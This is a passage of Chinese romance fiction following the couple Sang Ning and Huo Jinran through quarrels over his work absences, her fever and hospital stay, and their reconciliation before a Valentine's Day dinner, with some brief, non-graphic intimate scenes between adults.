“不接受就是不接受！你认错一点诚意都没有！”她有些闹他了。
还不是因为前段日子，她太委屈了。
霍今然还看着她，眼眸温柔：“那段时间，公司有个很重要的董事出车祸，再加上其他的事，我一时走不开。”
他长指轻轻捏住桑柠的下巴：“不管怎样，确实是我考虑不周，等以后有机会，我确定好时间，我们再一起出去玩，好不好？”
到这时，桑柠才意识到霍今然好像很累的样子，他应该是忙完工作，又马不停蹄的连夜赶到她这边的。
他看起来也很憔悴，像是已经很久都没休息了，眼窝那里还泛着青色的印记，惹人心疼。
桑柠一下子就心软了下来：“那你以后不许再这样放我鸽子了。”
“好，都听你的。”霍今然扯下领带，他拍了拍桑柠的臀，轻声道，“我先去洗个澡。”
桑柠从他身上下来：“嗯，好吧，你先去洗。”
等桑柠洗完出来时，看到霍今然趴在床上，他可能是太累了，都还没等她洗完，他就睡着了。
桑柠轻叹了口气，她走过去，像叠叠猫一样，整个人都趴到了霍今然的身上，他应该很累，这些动静声都没吵醒他，依然睡得很沉。
刚洗完澡，他身上还残留着沐浴液的淡香气，桑柠趴在他的肩膀上，望着他熟睡的侧脸。
他的侧脸很好看，也很迷人，像是沉在井底的月光，让人忍不住想靠近。
桑柠微探身，在霍今然的脸上落下一个吻：“算了，原谅你了。”
那天晚上霍今然因为太累没能补偿她，可早上醒来时，他却缠着她，不让她起床。
“乖了，就弄一下。”
“不要。”桑柠双手抵着霍今然的肩膀，娇嗔道，“你先答应我，以后不许惹我生气了。”
霍今然双手撑在床上，怀里的桑柠只穿着一件吊带背心，细细的肩带滑落，露出她雪白的肩颈线，他喉结微滚动，抬眸，对上她的视线：“答应你。”
“不接受，你敷衍我。”
“……”
霍今然用力怼了她一下：“非得这个时候闹，嗯？”
桑柠身子不受控的往后扬了下：“谁让你……啊啊啊……”
不给她再说话的机会，霍今然就直接进入了主题，缠着她弄了很久。
知道她白天有签售会，霍今然也很克制，没在她锁骨间咬下吻痕，却都咬在了她胸口，和腰上。
霍今然离开后，桑柠也开始忙起了签售会，化妆时，她发了个微博：吃到了喜欢的栗子饼，好开心~[亲亲.jpg][猪头.jpg]
知霍今然会看她的微博，桑柠故意用了亲亲猪头的表情包，就这样在无人知晓的暗处，跟他偷偷的隔空秀了个恩爱。
30. 30
签售会一结束，桑柠就回到了京城。
新书出版之后，还有很多琐碎的工作，桑柠又跟着忙了几日。
转眼就要临近一月底，那天桑柠在家签名实体书赠送的小卡时，忽地意识到她好像很多天都没跟霍今然见面了。
回到京城的这一个星期，两个人各忙各的，顾不上见面，她还真有些想他了。
瞧着窗外快要天黑了，桑柠放下签字笔，她随身坐到地毯上，拿过手机，给霍今然发了条微信：我想见你了，今天晚上能一起吃晚餐么？
发过去许久，桑柠都没等来霍今然的回复，猜他应该在忙，她也没再继续打扰他。
起身去了趟洗手间，桑柠又窝到茶几前，继续签名。
忙碌的时间过得很快，眨眼就过去了一个小时，傍晚五点多，外面天色已黑透。
桑柠起身，伸了个懒腰，她拿着手机，窝到了沙发里，看霍今然一直没回复他，她就又给他发了条信息：在忙什么呀，干嘛一直都不理我？
刚发完那条信息，没等来霍今然的回复，却收到了编剧冯馨雅给她发来的信息：桑柠，下周电视剧要拍一场重要的感情戏，导演让我过去探班，你那天要是有空的话，要不要一起跟我过去？
桑柠切换到日程表，查了下她的行程，看下周二没什么事，于是她又返回微信，答应了冯馨雅：我那天有空，那就一起去吧。
跟冯馨雅聊完，桑柠又点开了跟霍今然的聊天对话框，看他还没回复，她就给他发过去一个猪头的表情。
上次说好不再惹她生气的，刚哄好她，又恢复老样子，忙起来就把她撇到一边不管不顾了。
桑柠咬着唇，忍不住又给霍今然发了一串猪头的表情。
闹完他，桑柠打开外卖软件，一个人也没什么想吃的，选了半天她也不知道吃什么。
看到一家新开的冒菜馆，她刚点进去，就收到了霍今然给她的回复：行，那一起吃火锅外卖，很快到。
桑柠：很快是多久？
霍今然：我先接个电话，等我，乖。
桑柠抓着手机，好不容易等来他回信，还这么敷衍她。
说的很快就到，谁知道会多久，半小时，还是一个小时呢？
桑柠将手机丢到一边，没再理会霍今然。
她虽然一个人没什么想吃的，但到了饭点儿，她也确实饿了，于是就随手拿起茶几上的一包薯片，随便先吃点。
那包薯片快吃完时，桑柠都没等来霍今然。
窗外天色已黑，转眼就到了傍晚七点，桑柠将空掉的薯片包装袋团到手心里，使劲攥了两下。
她咬着唇，拿过手机，到底是没忍住脾气，指尖重重地敲打着屏幕，噼里啪啦的就给霍今然打过去一行字：你到底要我等多久，每次都是这样，要是不能过来，就提前说，非要我一直饿着肚子等你吗？！
“咻——”的一下，信息发过去之后，桑柠也将手机甩到了一边。
爱过来不过来。
反正都气饱了，什么都不用吃了。
桑柠探身，从桌上又拿起一瓶饮料，她攥紧瓶盖，试着拧开，却发现怎么用力都拧不开。
本来就已经很生气了，连个饮料瓶的瓶盖都跟她作对。
桑柠深呼了口气，她耐着性子从茶几上抽出张纸巾，准备重新再拧一次瓶盖时，突听得外面响起了密码锁开锁的声音。
应该是霍今然赶了过来。
“霍少，等下还用来接你么？”听着单羽也跟着过来了。
“看情况。”
话落，霍今然的身影也跟着走进了屋里。
桑柠睨了他一眼，没搭理他，只是将手上的饮料瓶，还有纸巾都放到了茶几上。
瞧着桑柠的反应有些冷淡，霍今然也没再往里走，他随身倚到了墙边，模样懒慢，就那样望着她，也不说话。
他指间还吊儿郎当的夹着半支烟。
“桑小姐，这是霍少给你点的羊蝎子火锅外卖，我放餐桌上？”单羽两只手拎满了东西。
桑柠连忙站起了身：“好的，麻烦你了。”
霍今然还站在那里没动，看桑柠笑脸相迎单羽，可余光扫到他这里，却又一下子收了笑，还气鼓鼓的瞪了他一眼。
他唇边漫上笑意，转身将指间的烟头碾灭在了烟灰缸里。
“霍少，我先走了。”
说完，单羽就离开了。
霍今然脱掉身上的西装外套，他长指勾住领带，微微扯松了下，而后他走到桑柠身边，牵起了她的手：“走吧，吃火锅。”
桑柠没动：“我现在不饿了，什么都不想吃。”
霍今然一把扯过她，干脆将她打横抱到了怀里：“那喂我吃。”
桑柠在他怀里扑腾了下：“就是不想跟你一起吃，你放我下来！”
霍今然偏不松手：“不想跟我吃，那你想跟谁吃，嗯？”
说着话，霍今然抱着桑柠一同落座到了椅子上。
“你个无赖！”桑柠被困在了他怀里。
霍今然夹起几片羊肉，丢进已煮开的汤锅里，烫熟，他捞进芝麻酱蘸料里：“尝一口，你喜欢的蒜蓉蘸料。”
桑柠还窝在霍今然的怀里，她耷拉着眼皮，不看他，但很快就看到他将小料碗端到了她面前。
薄薄的羊肉片上，裹满了混着蒜蓉的芝麻酱，直香的令人禁不住流口水。
桑柠却忍着没吃。
“再不吃，你老公我的手就断了啊。”
“……”
桑柠慢慢探身，像个受不住诱惑的小猫似的，就着蘸料的小碗，吃掉了那一口羊肉片。
“好吃吗？”
桑柠没吭声，直到嚼完，她才娇嗔的丢过去一句：“谁说你是我老公的，我有说要嫁给你么？”
霍今然就着同一个蘸料小碗，跟着吃了口羊肉：“嗯，不想跟我吃火锅，也不想嫁给我？”
“看你以后表现。”桑柠欲要从他身上下来。
霍今然突然又揽紧她：“行，吃完火锅，好好表现给你。”
桑柠拍了拍他的手臂：“让我下去，我想吃火锅了。”
霍今然终于松开了她。
吃完那顿火锅，也差不多八点多了，收拾完餐桌，桑柠走出厨房时，看到霍今然正坐在沙发上接电话。
“出什么问题了？”
“行，你先主持会议，我很快就过去。”
桑柠默默的走过去，坐到了霍今然的对面，她拿起先前的那瓶饮料，瓶盖已拧松，这一次她一下子就拧开了。
她仰头，喝了两三口饮料。
“好，关于新城开发的资料都准备好，等我过去。”霍今然挂断了电话。
抬眸，望过去，坐在对面的桑柠刚喝几口饮料，还没咽下去，鼓着腮帮子，瞪着他。
清澈的眼眸里满是怨念。
霍今然有些心虚，他将手机放进了口袋里：“我得回趟公司，有个紧急会议要开。”
桑柠没理他，只是坐在那里，慢吞吞的咽着嘴里的饮料。
霍今然已经穿上了西装外套，他走过去，贴近桑柠，吻了下她的额头：“在家乖乖等我。”
又是这一句。
乖乖等他，像一只猫一样，只能窝在家里等他，他喜欢了就过来揉一把，不喜欢了，就把她丢一边不管不顾。
一个多星期没见了，吃完一顿火锅，又要离开。
说着很快回来，可他这一走，又不知道要等多久了。
这恋爱谈的，简直谈了个寂寞。
桑柠咽下最后一口饮料，她深呼了口气，看着霍今然毫不迟疑转身离开的背影，她突然蹭的站起了身：“霍今然，你今天要是敢走出那个门，我就跟你绝交！”
这话说出口，桑柠就后悔了，霍今然才不会因为她耍小性子，而耽误工作。
她这么气急败坏，只会更加狼狈。
可当她看到霍今然停下脚不时，桑柠的心跳还是落空了一拍，看着他转身，她心里也慢慢软化了。
霍今然走到她身边，他单手箍住她的腰身，将她揽入怀，低头便吻上了她的唇。
那个吻猝不及防，霸道，又蛮横，桑柠都还未反应过来，她的贝齿就被强行撬开。
霍今然的舌尖探进去，翻天覆地的搅动，肆意掠夺她的呼吸。
桑柠大脑里一片空白，忘记了时间，也忘记了窗外隆冬的深夜。
迷离之时，霍今然又突然松开了她：“后面的先欠着，今晚一定给你。”
那一吻落下，桑柠像是被下了蛊，非但不气他了，还乖乖的点头应了下：“那我等你回来。”
霍今然拍了拍她的臀：“记得先洗干净，在床上等我。”
桑柠清醒了过来，推搡了他一下：“知道了。”
霍今然转身离开了。
夜里一点多时，他才回来，桑柠还未睡着，迷糊之际，感觉到被人搂到了怀里：“还想不想做了？”
桑柠缓缓睁开眼，就着屋里的暗光，她勾住霍今然的脖子：“想，你还欠着我呢。”
霍今然勾了下唇角，他将被子扯过，盖住了两个人，而后翻身将桑柠压到了身下。
折腾到后半夜才结束，桑柠软绵绵的摊在床上，做的太久，身上出了汗，头发也有些黏腻，她躺在那里不想动。
还是霍今然抱她起来，给她洗干净，后来还帮她吹干了头发。
桑柠撑不住，头发刚吹到一半，她就窝在霍今然的怀里睡着了。
那
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一晚过后，桑柠跟霍今然都又开始忙了起来。
转眼就到了下周二，桑柠跟着编剧冯馨雅去了趟剧组探班，两个人一直待到下午两点多才离开。
停车的地方离剧组有些远，只能步行过去。
一月底的寒冬，午后气温低，风也很大，四面八方的吹来，直往人身体里钻，冻得人直发抖。
“今天也太冷了，还好剧组晚上没夜戏，不然这种天气一直待在外面，真是够呛。”迎着寒风朝前走，冯馨雅随口聊了一句。
桑柠裹紧身上的呢子大衣：“我看天气预报说，今年的冬天比往年都要冷。”
“难怪呢，这天气除了窝在家里，真是哪儿都不想去。”
走到半路，包里的手机突然响起来电铃声，桑柠听到了，可她冷得不想接。
“是不是电话响了？”冯馨雅提醒了她一句。
桑柠缩了下肩膀：“没事，到车里再接吧，冷得我不想出手。”
眼瞅着就到了停车的地方，跟冯馨雅分别后，桑柠迎着寒风快走了几步，直到上了车，她才拿出手机，那边电话已断，看是连歆语打来的，她就直接回拨了过去。
“喂，刚才在忙什么呢，都不接我电话。”电话一接通，连歆语就问道。
桑柠捧着手机，刚想要说话，却忍不住连连打了三个喷嚏。
“你感冒了？”电话那端连歆语又跟着问道。
桑柠翻出纸巾盒，她抽出几张，擦了下：“没，我刚从剧组探班回来，应该就是冻着了，你给我打来电话，我实在冷得不想接。”
这么一会儿工夫，她说话时都有鼻音了，八成是真的感冒了。
“你找我是不是有事？”桑柠问连歆语。
连歆语回她：“没什么，就想问问你忙完了没，我这周末休息，要不要出来一起玩。”
桑柠戴上耳机，将手机搁到中控台上，她启动了车子：“这个周末不行，我还有事要忙。”
“行吧，那我们改天再约。”挂断电话前，连歆语又叮嘱了她一句，“听着你好像真的感冒了，你回去记得吃片感冒药，多喝水。”
“哦。”桑柠应了下来。
回到家，桑柠只觉头晕晕的，可能吹了冷风，有些头痛。
翻出药箱，桑柠就着温水服了一片感冒药，喝完那一大杯水，她拿过手机，给霍今然打了个电话。
忙音响了很久，霍今然才终于接通了电话：“喂？”
桑柠捧着手机：“你是不是在忙呀？”
“嗯，找我有事？”
“没事啊，就是想打电话告诉你，我好像感冒了，身上不舒服。”桑柠闷着鼻音道。
她像个小孩子似的，生病时，对霍今然格外的依赖。
“吃药了么？”
“吃了。”
话落，对面的霍今然似是握着手机，唤了唐志诚一声：“唐秘书，新城开发区的计划书，再多准备几份，今天晚上就去见梁董事他们。”
桑柠握着手机，她闷闷的垂着眼睫，霍今然还是像以前一样，忙起来就顾不上她。
刚才给他打电话时，他甚至第一时间都没听出来她感冒了。
不多时，就听电话那边的霍今然又问她：“吃药了是吧？”
桑柠抿了下嘴，突然头很疼：“你刚才就已经问过了。”
“那你先睡会儿，等我忙完，我就过去找你。”
“随便你吧。”桑柠挂断了电话。
头越来越疼了，桑柠将手机搁到一边，她钻进了被窝，感冒药渐渐起了药效，她撑不住沉沉的睡着了。
这一觉就睡到了天黑。
醒来时，桑柠只觉浑身发烫，又无力，感冒似是严重了，还开始发烧。
她强撑着身子，坐起身，从抽屉里拿出体温计，量了□□温：39.2。
烧的还不轻。
外面天色已黑透，屋里没开灯，只有从外面透出的少许光亮。
桑柠从床上爬起，还没怎么动，就感觉一阵头晕目眩，她坐在那里缓了会儿，才起身朝外面走去。
就着那些暗光走到客厅，桑柠拿过手机，拨通了霍今然的电话。
这次忙音响了许久，却都没人接听。
跟着电话那端突然响起“嘟嘟嘟”的提示音，霍今然竟然挂断了她的电话。
桑柠有些站不稳，她单手撑着桌边，将手机从耳边拿下，她就给连歆语拨了过去。
电话一接通，桑柠都还来不及说话，只觉眼前一黑，手机从掌心滑落，“咣当——”一声，掉到了地上。
桑柠也似是失去了意识，只记得晕倒前，地上的电话，不断传来连歆语呼唤她的声音：“喂，桑柠……”
“桑柠，你说话啊，喂？！”
31. 31
从落地窗外透出的暗光，落了桑柠一身，屋里静得可怕，也不知过了多久，外面突然响起密码锁开锁的声音，下一秒，连歆语就慌慌张张的跑进了屋里。
刚才在电话里，连歆语就预感到桑柠出事了，于是就急忙赶了过来。
直到将桑柠送到医院，安稳下来，听医生说没什么大碍，连歆语才总算松了口气。
桑柠醒来时，已是晚上九点多了，医生给她打了退烧针，醒来时她烧也退了一半，不过脸色还有些憔悴。
连歆语刚好打回来一壶热水，看桑柠醒来，她问：“醒了，要喝水么？”
桑柠微点了下头，双手撑着就要起床：“你送我来医院的？”
连歆语紧忙放下热水瓶，扶着桑柠坐起了身：“嗯，你快吓死我了。”
桑柠垂下了眼睫：“还好，有你在。”
连歆语拿过一个纸杯，倒了半杯热水，又兑了些矿泉水，她转身，递给桑柠：“是不是因为不是霍今然不开心啊。”
桑柠接过纸杯，小口抿了一两口温开水，没说话。
怎么可能不难过呢。
在她生病需要霍今然时，他不在身边，给他打过去电话，他还挂断了。
连歆语瞅了桑柠一眼，而后她拉过一把椅子，坐到了床边：“别难过了，我现在就给霍今然打个电话，让他过来。”
说完，连歆语就从包里掏出手机，给霍今然拨过去了电话。
霍今然却一直没接电话。
看连歆语迟迟没拿下手机，猜也是那边霍今然还没接电话，桑柠握着手里的杯子，出声道：“算了，他要是在忙，不会接电话的。”
连歆语抿了下嘴，挂断那通电话，她转而打给了陆寒笙。
等陆寒笙接通了电话，连歆语就劈头盖脸的丢过去一句话：“我不管你用什么方法，今天晚上将霍今然给我绑到医院来，女朋友生病在家晕倒，见不到他人，电话也不接，这对象他要是不想处了就早点说，你信不信明天我就给桑柠找个更好的男人！”
“你要是今天晚上带不过来霍今然，你以后也别来我这里了！”
说完，连歆语就直接挂断了电话。
桑柠还坐在那里握着水杯，她垂着眼睫，盯着身上干净的白色被褥，听连歆语挂断了电话，她才抬起了头：“什么时候在一起的？”
连歆语将手机搁到了包包里：“你还有心情八卦我的事？”
桑柠又低下了眼睫，有气无力的弯了下唇角。
瞧着桑柠苍白柔弱的样子，连歆语忍不住在心里狠狠咒骂了一句：霍今然真他妈的狠心。
几分钟前。
御都会所顶层，私密包间里。
霍今然跟几位董事围坐在一起，正在讨论新城开发的计划。
口袋里的手机传来振动声，他掏出看了一眼，是连歆语打来的。
望着屏幕上来电显示，霍今然微怔，下意识的直觉告诉他，连歆语突然给他打电话，可能是桑柠出事了。
“今然，你给两位董事详细讲一下新城开发的计划。”
霍今然的心思也不过那一瞬间的游离，听到那边梁董事唤他的名字，他就直接挂断电话，抬起了头：“好。”
听完霍今然的讲述，有位董事不禁夸赞道：“今然真是年轻有为，我看我们这些老东西是时候该退休了。”
“您谦虚了，晚辈还有很多东西，要跟两位董事们学习呢。”霍今然将计划书放到了一边。
在一旁抽着雪茄的梁董事，微探了下身：“现在你们知道，我当初为何力挺今然了吧。”
其中一位董事笑呵呵道：“谁不知梁董事您一向都慧眼识英才。”
梁董事伸手拍了拍霍今然的肩膀：“那也得他本人优秀，才能被我慧眼识到。”
“我们长年都在国外，对今然了解甚少，不过这次接触，确实比想象中还要优秀。”另一位董事讲道。
霍今然沉默的坐在那里，不搭话。
这两位董事，长年都在海外扩展集团业务，很少参与国内集团内部的纷争，也从不站队。
今晚梁董事组局，让他跟这两位董事见面，明面上是为了新城开发的计划，暗里其实是在帮他拉拢两位董事。
以此去抗衡霍志霄那边的势力。
“新城开发这个计划，就像个肥肉，外面一堆人都在盯着。”梁董事指间夹着燃到一半的雪茄，来回看了一眼对面的两位董事，接着问道，“所以两位觉得怎么样，有兴趣加入我们么？”
霍今然低垂着眼睫，等着那两位董事表态。
“梁董事推荐的，我自然有兴趣。”
“这个计划我从前年就听到了，不过之前从来都不过问国内的项目，要是这次能参与进来，也算是跟着梁董事沾光了。”
两位董事纷纷站队表了态。
跟梁董事他们聊完新城开发的计划，走出御都会所时，外面夜已经深了。
霍今然掏出手机，他边低头走路，边拨通了桑柠的手机。
那边始终没人接听。
霍今然挂断电话，刚要准备切换到微信，就看到陆寒笙给他打过来一通电话。
他接起：“找我有事？”
“你女朋友生病在家晕倒，见不到你人，电话也不接，你这男朋友是怎么当的？”陆寒笙一开口，就直接质问道。
前方似是有辆跑车疾驰而来，巨大的引擎声划破天际，霍今然没在意，他停到路边，平静的问陆寒笙：“哪家医院？”
陆寒笙哼笑了声：“行，不用我绑你过去了。”
伴着耳边越来越刺耳的跑车引擎声，霍今然听到陆寒笙又接着说：“国泰医院。”
霍今然挂断电话，朝着车那边走去。
还没走出几步，身后的高虎就冲过来，将霍今然拽到了一边：“霍总，小心！”
刚退出几步，还没定过神，就听见前方传来“砰——”的一声。
轰隆的碰撞声，
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仿佛一道巨雷，听得人心惊胆战。
先前那辆从远处行驶而来的跑车，越过人行道，直接撞到了路边的树上，浓烟四起，车前头撞的稀烂。
“霍总，您没事吧？”高虎有些后怕的询问了一句。
幸好刚才多看了一眼，那跑车行驶路线歪歪扭扭的，速度又快，像是司机醉酒的架势，高虎就连忙将霍今然拽到了一边。
“没事。”霍今然望了一眼那边撞毁的跑车，跟着道，“打电话报警。”
“好的，霍总。”高虎留在原地，拨通了电话。
霍今然兀自朝路边走去，上了车，他跟司机吩咐了一句：“去国泰医院。”
司机启动了车子，朝着前方隆冬的夜色驶去。
抵达国泰医院时，已经夜里十点多了，早就过了探病的时间，霍今然进不去，只好踱步到路边，给桑柠打了通电话。
不出意料的，她没接。
霍今然拿下电话，只好给桑柠发过去一条微信：我现在就在楼下，没办法上楼，我明天早上再来看你，好不好。
住院部，某间病房里。
桑柠正靠在床头柜上，就着温水，喝下了一片药，桌上的手机响起铃声，看来电显示是霍今然，她没接。
很快就又收到了霍今然的那条信息。
桑柠将杯子放到桌上，她下了床，拿着手机，走到了窗边。
透过窗外朝外望去，果然看到了正站在路灯下的霍今然。
仿佛心有灵犀似的，恰巧霍今然也跟着抬起了头，隔着苍凉的夜色，跟桑柠相互凝望。
那一眼刚对视上，桑柠的心尖跟着颤栗了下，她没躲开，甚至在霍今然再次打来电话时，她竟下意识的接听了。
“退烧了么？”
“嗯。”
霍今然还望着她：“明天早上想吃什么，我给你买去。”
听到他温柔的声音，桑柠鼻头一酸，心软了，却也委屈，在她最需要他时，他却挂断了她的电话。
在霍今然的心里，他手头上的工作，好像永远都比她重要，不管她这边发生什么事，他总会优先处理他的工作，她只能等，等他忙完了，才能顾及到她这边。
可是，还有什么意义呢。
她已经从晕倒中醒来了，她的烧也已经退了，这些最需要他的时刻已经都过去了。
桑柠没那个本事这么快就忘掉，也不过是几个小时之前的事，只要想起来，她还是觉得很难过。
那些情绪囤积在心里，挥之不去，像是附着在白布衫上发黑的霉斑似的，怎么用力都搓不掉，它就醒目的附着在那里，令人糟心不已。
跟霍今然隔着不远不近的距离，可桑柠心里只觉跟他有了隔阂。
这隔阂不厚重，隔在她跟霍今然之间，瞧不见，也摸不到，却也忽略不得。
桑柠红着眼，望着楼下的霍今然：“不用了，我自己会买。”
说完，桑柠挂断电话，转身离开了窗边。
32. 32
在医院住了一晚上，早上醒来时，桑柠觉得身上轻了许多，烧也退去了。
昨晚怕耽误连歆语的工作，桑柠让她先回去了，没让她陪床。
早上七点多时，桑柠收到连歆语的一条语音：“桑柠，你怎么样了，需要我过去陪你么？”
桑柠捧着手机，回了一句：不用，我烧已经退了，等医生查完房，我就想出院了。
连歆语：要不你等我下午过去，帮你办理出院手续。
桑柠：我自己可以的，你别折腾了，大冷天的。
桑柠：等我到家就给你发个微信。
那边连歆语没再回复她，兴许是忙去了。
桑柠将手机搁到一边，她收拾了下东西，刚准备要去洗漱时，手机屏幕亮起，进来一条信息：我给陆寒笙打电话了，让他去接你。
“……”
不用这么麻烦了吧。
她又不是小孩子。
桑柠拿起手机，紧忙拒绝：不要了，你别让他再折腾了，怪麻烦的。
连歆语：你要只是发烧，我也就不操心了，这不是怕你又晕倒么。
连歆语：行了，你在医院等着吧，陆寒笙已经过去了。
“……”
姐妹。
你男人效率这么高的么。
桑柠无奈，看拒绝不得，她也就不磨叽了。
七点半时，医生过来查房，给桑柠做完检查，看她已经没什么事，便也准许她出院了。
收拾完东西，离开病房前，桑柠给陆寒笙发了条微信：你好，我准备去办理出院手续了，其实你不用过来的，我自己能出院的。
陆寒笙：我已经到了。
陆寒笙：你下来吧。
“……”
桑柠收起手机，拎着包，走出了病房。
乘坐电梯下到一层，刚走出电梯，桑柠迎面就看到了霍今然朝着她这边走了过来，她轻瞥了他一眼，没理他。
霍今然走上前：“吃早餐了么？”
说着话，霍今然伸手欲要拎过桑柠手上的包包，她却躲开了。
恰巧这时，陆寒笙也走了过来，桑柠故意绕过霍今然，招呼了声：“不好意思，麻烦你过来了。”
霍今然回头，还以为是谁呢，大早上的就赶了过来，看到是陆寒笙，他竟意外的松了口气。
陆寒笙凉凉的睨了一眼霍今然，而后才回桑柠道：“没事，都是朋友。”
说完，陆寒笙帮忙拎过了桑柠的包包：“走吧，去那边窗口办理出院。”
“好。”
应完，桑柠转身朝前走去。
被忽略在一旁的霍今然，一脸阴沉的跟在了两个人的身后。
早上办理手续的人有些多，桑柠提前拿了个号码，就坐到了窗口对面的休息椅上，等着叫号。
陆寒笙跟着坐到了对面，霍今然也跟着坐到了一旁。
“你过来干什么？”坐下后没多久，霍今然就忍不住问了一句。
陆寒笙正在看手机，头也不抬的随口回了霍今然一句：“来接桑柠出院。”
“用你接？”霍今然的语气听着似是有些不耐。
陆寒笙转头，望向了霍今然，生怕他会误会接下来的话不是说给他似的：“这不是怕有人靠不住么。”
“……”
高虎探过身，在旁帮腔了一句：“昨天晚上霍少出车祸了。”
霍今然微抬眸，不动声色的瞟了一眼对面的桑柠，她还坐在那里，正在整理出院的手续，一副不爱搭理他的样子。
但高虎那句话落下去之后，还是能察觉到她手上的动作明显微怔了下。
看得出来她还是很担心他的。
不过很快，就听旁边的陆寒笙又出声道：“嗯，一辆酒驾的跑车撞路边的树上了，你人屁事儿都没有。”
“……”
霍今然转头，冷冷的扫了一眼陆寒笙：你拆台专家是吧。
桑柠抿了下唇角，刚好这时她的号码被叫，她起身，朝着那边的窗口走了过去。
办理完出院手续，走回座位那边时，看到霍今然正站在一旁的空地处接电话，看起来很忙的样子。
桑柠睨了他一眼，便转而走到了陆寒笙面前：“可以了，我们走吧。”
说完，桑柠就抬脚朝着门口走去。
陆寒笙掏出车钥匙，离开前，他扫了一眼那边还在打电话的霍今然，看桑柠不想理，他也没多事。
只是将桑柠送回家时，陆寒笙到底还是没忍住开了口：“桑柠，有些事我想你应该知道一下，是关于霍今然的。”
……
送走陆寒笙，桑柠独自上了楼。
回到家，桑柠窝到沙发里，从包里拿出手机，她几乎是下意识的就点开了，跟霍今然的聊天对话框。
刚才离开医院时，霍今然的车一直跟在后面，不过跟到一半，他的车就堵在了路上，也不知道他还会不会来她这里。
桑柠也不好意思问，明明还在跟霍今然赌气，从早上见到他就没理他，这会儿却突然问他还来不来她这里，总归有些抹不下脸。
整的她多喜怒无常似的。
可其实，她心里好像已经没那么气他了。
桑柠咬着唇瓣，正犹豫时，忽地听见门外响起密码锁开锁的声音，她吓得一个激灵，就将手机搁到了茶几上。
心跳莫名有些慌乱，扑通扑通直跳，奇怪，她也没干什么坏事啊。
门跟着响了一下，霍今然拿着一个文件夹，还有一份粥，走了进来：“我让唐秘书给你打包了一份排骨粥，要不要趁热吃。”
桑柠没理他，起身朝着琉璃台那边走去。
房间里有些热，霍今然脱掉了身上的西装外套，转身看到桑柠正站在琉璃台前，像是要喝药的样子。
他走过去，给她倒了杯温水，放到了她面前：“要喝药是么？”
桑柠没理他，也不接那杯温水，还故意当着霍今然的面，就着一瓶矿泉水，吞了一片药。
“呲——”
水凉，叮牙。
几乎是在桑柠刚服下一片药，她就禁不住裂了下嘴。
霍今然绕过琉璃台，他走到桑柠身边，夺过她手里的矿泉水瓶，将温水再次递给她：“乖乖喝完药，再跟我发脾气。”
看桑柠不接，他声音又低低的响起：“是不是要我喂你喝，嗯？”
桑柠扁了下嘴，她接过那杯水，就着温水，咕咚咕咚的将剩下的两片药都吞了下去。
霍今然拿过她手里空掉的杯子，而后放到一边，他倚着身后的琉璃台，伸手，将桑柠搂到了怀里：“要不要提前跟我说一声，这次要气我多久？”
说着话，他长指轻揩掉了桑柠唇边的水渍。
桑柠睁着圆溜溜的大眼睛，盯着他：不气了，但就是不想理你。
看她不说话，只瞪着他，看起来还是很不想理他的样子，霍今然突然揽紧她的腰身，他附到她耳边蛊惑她：“要不是你生病，有的是办法让你说话。”
“……”
喝完药，桑柠就兀自回卧室补觉去了。
霍今然就留在了客厅，他拿着文件，落座到了沙发上，面前的茶几上还铺着桑柠新出版的实体书，小卡，还有明信片。
他帮忙整理到一边时，胳膊肘不小心将桌边的一个记事薄撞到了地上，他弯腰捡起。
记事簿已打开，霍今然微怔了下，翻开的那一页，贴的都是他的照片，旁边空白处是桑柠用水彩笔勾画的心事。
——喜欢他的眉眼，他的鼻子，他的嘴巴，还有偶尔早上醒来性感的胡渣。
——怎么办，哪里都好喜欢。~o>
霍今然眼睫微颤，他起身，窝到沙发里，继续翻了一页那本记事簿。
下一页，是他半裸着上身趴在床上的照片。
——中看又中用的男狐狸精。
——他是我的，谁也抢不走~哈哈~
霍今然继续又翻了一页，跟着是一张
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合照，是去年夏天两个人约会时，一起在路边吃冰激凌的照片。
照片里阳光明媚，桑柠那天的笑比之日光还要灿烂，她的鼻头蹭了冰激凌，依偎在他怀里时，像某种小动物一样毛茸茸的。
霍今然的视线定格在她的笑脸上，他实在是喜欢她的笑，生动，明艳，仿佛冬日里最灿烂的一束烟火。
跟着翻了几页，也都是桑柠记录的日常恋爱的心事。
但继续翻了一页，却没有了他的照片，也没有了两个人的情侣合照，只有一张简单的阴天照片。
——不开心。
——下巴那里的淤青还没消下去，丑死了，呜呜呜。
霍今然神色微顿，他低着眼睫，合上了桑柠的记事簿，想起那天的事，他心底也仿佛暗暗的覆上一层阴影。
要不是因为他，桑柠也不会在褚晚柠那里受那些委屈。
霍今然将记事簿放到一边，他起身，朝着卧室走去。
桑柠还没睡，正倚靠着床头柜看书，见霍今然走进来，她将书放到一边，背对着他侧躺了下来。
只留给他一个沉默的背影。
霍今然走过去，默不吭声的上了床，将桑柠搂在了怀里：“我们不吵架了，好不好。”
桑柠睁着眼睛，望着对面墙壁的花纹，耳边跟着又响起霍今然的声音：“你不理我的话，我一个人很没意思的。”
桑柠眼睫微颤，她依旧不说话，却想起了先前陆寒笙对她说的那番话。
“今然刚当上霍家的掌权人，地位还不够稳固，很多人都觊觎他的位置，恨不得将他立马拉下来，甚至恨不得他死。”陆寒笙顿了下，接着道，“现在正是他稳固地位的时机，集团的业务又多，忙起来可能会顾及不到你，我也不是要偏袒他，就是想让你知道一下他现在的情况，他其实也没外表看起来的无坚不摧，也希望你就算跟他发脾气，也别离开他，他比你想象中的更需要你。”
……
“你要怎么才能原谅我，嗯？”
听到霍今然的声音再次响起，桑柠回了神，还没来得及翻身，就听到他又说：“要不我来满足三个愿望，你想要什么我都答应你。”
桑柠翻了个身，跟他面对面：“什么愿望都可以许么？”
“嗯，只要你说出来，我就会想办法满足你。”
桑柠枕着一只手的手背，她眼睛亮晶晶的：“那我第一个愿望就简单一些吧，我想要情人节时，跟你吃一顿烛光晚餐。”
霍今然伸手，指尖轻轻将她额边的碎发，绕到了她耳后：“只是这样？”
“不然呢。”
霍今然勾唇笑了下，顾及到桑柠还生着病，他收起了那些妄念，只将她拥入了怀里：“好，满足你。”
没过几天，那场发烧，桑柠就彻底痊愈了。
时间也跟着进入二月份，过完农历新年，转眼就到了情人节。
那天早上醒来时，天气阴沉，看起来要下雪的样子，到下午时，果然洋洋洒洒的飘起了雪花。
那顿烛光晚餐安排在了霍今然下榻的酒店，他白天忙，桑柠照例在酒店等他。
晚上八点时，桑柠换了件黑丝绒的长裙，化了妆，她还特意在盘起的发髻上别了朵红玫瑰。
对镜拍了张照片，桑柠通过微信发给了霍今然：好看么？
十分钟后，霍今然才回她：好看。
桑柠：你快到了么？
霍今然：快了。
桑柠：那我让餐厅那边先上菜了。
霍今然：好。
